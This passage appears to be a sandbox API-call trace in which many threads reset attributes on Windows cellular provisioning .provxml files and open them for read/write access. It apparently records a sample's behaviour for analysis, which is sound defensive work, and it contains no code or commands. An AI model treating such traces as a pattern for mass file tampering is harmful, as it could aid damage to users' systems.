BaseAddress=0x2ff25d0) returned 1 [0180.504] RtlExitUserThread (Status=0x0) Thread: id = 2945 os_tid = 0xff8 [0180.374] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.503] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.503] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.503] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0180.503] RtlExitUserThread (Status=0x0) Thread: id = 2946 os_tid = 0xffc [0180.375] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.501] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.502] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.502] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ca08) returned 1 [0180.502] RtlExitUserThread (Status=0x0) Thread: id = 2947 os_tid = 0x618 [0180.375] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.500] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.500] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.500] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3aa8) returned 1 [0180.501] RtlExitUserThread (Status=0x0) Thread: id = 2948 os_tid = 0x9b4 [0180.376] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.499] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.499] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.499] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.499] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1ff0) returned 1 [0180.499] RtlExitUserThread (Status=0x0) Thread: id = 2949 os_tid = 0x610 [0180.376] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.498] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.498] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.498] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2428) returned 1 [0180.498] RtlExitUserThread (Status=0x0) Thread: id = 2950 os_tid = 0xcb4 [0180.376] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.497] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.497] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.497] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ce70) returned 1 [0180.497] RtlExitUserThread (Status=0x0) Thread: id = 2951 os_tid = 0xcb8 [0180.377] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.478] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.478] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.479] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.479] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044ea8) returned 1 [0180.479] RtlExitUserThread (Status=0x0) Thread: id = 2952 os_tid = 0x5b0 [0180.377] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.477] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.477] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.477] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.478] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044138) returned 1 [0180.478] RtlExitUserThread (Status=0x0) Thread: id = 2953 os_tid = 0x5b8 [0180.378] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.476] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.476] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.476] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.476] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054830) returned 1 [0180.476] RtlExitUserThread (Status=0x0) Thread: id = 2954 os_tid = 0x5bc [0180.378] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.475] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.475] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.475] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2f68) returned 1 [0180.475] RtlExitUserThread (Status=0x0) Thread: id = 2955 os_tid = 0x598 [0180.378] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.496] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.496] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.496] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.496] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044540) returned 1 [0180.496] RtlExitUserThread (Status=0x0) Thread: id = 2956 os_tid = 0x58c [0180.379] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.494] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.495] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.495] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.495] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe31d8) returned 1 [0180.495] RtlExitUserThread (Status=0x0) Thread: id = 2957 os_tid = 0x590 [0180.379] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.493] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.493] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.494] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044aa0) returned 1 [0180.494] RtlExitUserThread (Status=0x0) Thread: id = 2958 os_tid = 0x488 [0180.379] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.492] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.492] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044290) returned 1 [0180.493] RtlExitUserThread (Status=0x0) Thread: id = 2959 os_tid = 0x4a0 [0180.380] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.491] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.491] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.491] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.491] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f021d0) returned 1 [0180.491] RtlExitUserThread (Status=0x0) Thread: id = 2960 os_tid = 0x4ac [0180.382] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all 